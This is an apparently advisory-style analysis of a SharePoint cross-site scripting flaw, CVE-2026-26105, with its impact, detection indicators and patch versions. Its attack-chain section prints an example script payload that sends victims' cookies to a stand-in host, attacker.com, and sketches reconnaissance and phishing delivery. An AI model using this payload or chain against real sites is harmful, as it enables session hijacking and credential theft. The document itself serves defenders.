CVE-2026-26105: 
vulnerability analysis and mitigation

CVE-2026-26105 is a cross-site scripting (XSS) vulnerability in Microsoft Office SharePoint that allows an unauthenticated network attacker to perform spoofing attacks by injecting malicious scripts into web pages. It was disclosed and patched on March 10, 2026, as part of Microsoft's March 2026 Patch Tuesday security update. Affected products include SharePoint Server 2016 (Enterprise), SharePoint Server 2019, and SharePoint Server Subscription Edition (versions before 16.0.19725.20076). The vulnerability carries a CVSS v3.1 base score of 9.3 (Critical) (Microsoft MSRC).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), arising from insufficient sanitization of user-supplied input before it is rendered in SharePoint web pages (Microsoft MSRC). An unauthenticated remote attacker can craft malicious input that, when rendered in a victim's browser, executes arbitrary JavaScript in the context of the SharePoint site. Exploitation requires user interaction (e.g., a victim visiting or clicking a crafted link), but no privileges are required on the attacker's side. The scope is changed, meaning the injected script can affect resources beyond the vulnerable component itself, consistent with a stored or reflected XSS pattern. Relevant CAPEC patterns include Reflected XSS (CAPEC-591), Stored XSS (CAPEC-592), and DOM-Based XSS (CAPEC-588).

Successful exploitation enables attackers to inject and execute malicious scripts in the browsers of authenticated SharePoint users, facilitating session hijacking, credential theft, and spoofing attacks. Because the vulnerability has a changed scope and high confidentiality and integrity impacts, attackers can potentially exfiltrate sensitive documents, impersonate users, or perform unauthorized actions within SharePoint on behalf of victims. Availability is not directly impacted, but the combination of credential theft and session hijacking could enable further lateral movement within an organization's environment (Microsoft MSRC).

1. Reconnaissance: Identify internet-facing Microsoft SharePoint Server instances (2016, 2019, or Subscription Edition) using tools like Shodan or Censys, targeting unpatched versions prior to the March 10, 2026 fixes.
2. Craft malicious payload: Construct an XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) designed to execute in a victim's browser when rendered by SharePoint.
3. Inject payload: Submit the crafted input to a vulnerable SharePoint input field or parameter that is improperly sanitized and reflected or stored in SharePoint pages (e.g., via a list item, page content, or URL parameter).
4. Deliver to victim: Distribute a link to the malicious SharePoint page or content to targeted users via phishing email or other social engineering, exploiting the required user interaction condition.
5. Harvest session/credentials: When the victim loads the page, the injected script executes in their browser, sending session cookies, authentication tokens, or other sensitive data to an attacker-controlled server, enabling session hijacking or account takeover.

• Network: Outbound HTTP/S requests from SharePoint users' browsers to unexpected external domains shortly after accessing SharePoint pages; unusual GET/POST requests to attacker-controlled infrastructure containing encoded cookie or token data.
• Logs: SharePoint ULS logs or IIS access logs showing unusual input values containing <script>, javascript:, onerror=, or other XSS-indicative strings in request parameters or POST bodies; repeated access to specific SharePoint pages by multiple users followed by anomalous outbound connections.
• File System: Unexpected modifications to SharePoint page content or list items containing embedded script tags or encoded JavaScript payloads.
• Process/Browser: Unexpected JavaScript execution or redirects observed in browser developer tools when accessing specific SharePoint pages; browser security warnings triggered by content security policy violations on SharePoint sites.

Microsoft released security updates on March 10, 2026, addressing this vulnerability across all affected product lines. Organizations should update to the following minimum versions: SharePoint Server Subscription Edition 16.0.19725.20076 or later, SharePoint Server 2019 16.0.10417.20102 or later, and SharePoint Server 2016 (Enterprise) 16.0.5543.1000 or later (Microsoft MSRC). As defense-in-depth measures, administrators should deploy a web application firewall (WAF) with XSS filtering rules, enforce strict Content Security Policy (CSP) headers on SharePoint, and monitor SharePoint logs for suspicious script injection attempts. Patches should be tested in a controlled environment before broad enterprise deployment.

CVE-2026-26105 was covered as part of broader March 2026 Patch Tuesday roundups by multiple security outlets including BleepingComputer, Rapid7, Zero Day Initiative (ZDI), Sophos, and Outpost24, which collectively noted the high CVSS score and the breadth of SharePoint versions affected (Rapid7 Blog, ZDI Blog, Sophos Blog). SANS ISC also logged the vulnerability in their March 2026 Patch Tuesday diary. Community sentiment highlighted the critical CVSS score (9.3) as warranting prompt patching, though the lack of active exploitation tempered urgency somewhat.